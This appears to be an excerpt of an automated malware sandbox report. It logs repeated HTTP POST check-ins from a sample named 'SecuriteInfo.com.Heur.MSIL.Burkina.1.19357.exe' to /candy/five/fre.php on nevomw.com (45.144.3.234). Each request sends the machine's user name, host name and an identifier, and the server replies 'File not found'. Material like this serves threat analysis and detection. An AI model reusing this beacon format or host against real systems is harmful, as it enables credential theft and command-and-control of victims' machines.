Dec 2, 2020 11:54:33.374996901 CET	1693	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:33.450376034 CET	1693	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.6	49994	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:54:33.753309965 CET	1694	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:54:33.805074930 CET	1694	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:54:33.881656885 CET	1695	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:54:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49741	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:53.777770042 CET	167	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:53.830080032 CET	168	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:53.903446913 CET	168	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49742	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:54.204572916 CET	169	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:54.261811972 CET	169	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:54.341794968 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49743	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:54.660317898 CET	171	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:54.712184906 CET	171	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:54.786220074 CET	171	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49744	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:55.114402056 CET	172	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:55.168152094 CET	172	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:55.244730949 CET	173	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49745	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:55.544487000 CET	173	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:55.596440077 CET	174	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:55.674252987 CET	174	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49715	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:42.691672087 CET	61	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:42.744729996 CET	61	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:42.818738937 CET	62	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49746	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:55.981451988 CET	175	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:56.053913116 CET	175	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:56.194096088 CET	176	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49747	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:56.489115000 CET	176	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:56.541968107 CET	177	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:56.615647078 CET	177	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49748	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:56.856209993 CET	178	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:56.909864902 CET	178	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:56.986978054 CET	178	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49749	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:57.268927097 CET	179	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:57.323098898 CET	180	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:57.405086040 CET	180	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49750	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:57.744998932 CET	181	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:57.804277897 CET	181	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:57.883454084 CET	181	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:57 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49751	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:58.120465994 CET	182	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:58.173096895 CET	182	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:58.247212887 CET	183	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49752	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:58.573098898 CET	184	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:58.625736952 CET	184	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:58.705684900 CET	184	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49753	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:58.978022099 CET	185	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:59.030513048 CET	185	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:59.104919910 CET	186	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49754	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:59.378493071 CET	187	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:59.431277037 CET	187	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:59.505511999 CET	187	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49755	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:59.770770073 CET	188	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:59.876540899 CET	188	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:59.952721119 CET	189	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49716	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:52:43.223644972 CET	63	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:52:43.279001951 CET	63	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:52:43.354862928 CET	63	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:52:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49756	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:00.250977039 CET	190	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:00.306401014 CET	190	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 2, 2020 11:53:00.382494926 CET	190	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 02 Dec 2020 10:53:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/7.4.10RC1 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49757	45.144.3.234	80	C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Timestamp	kBytes transferred	Direction	Data
Dec 2, 2020 11:53:00.644083023 CET	191	OUT	POST /candy/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: nevomw.com Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F1D39DE6 Content-Length: 169 Connection: close
Dec 2, 2020 11:53:00.696590900 CET	191	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
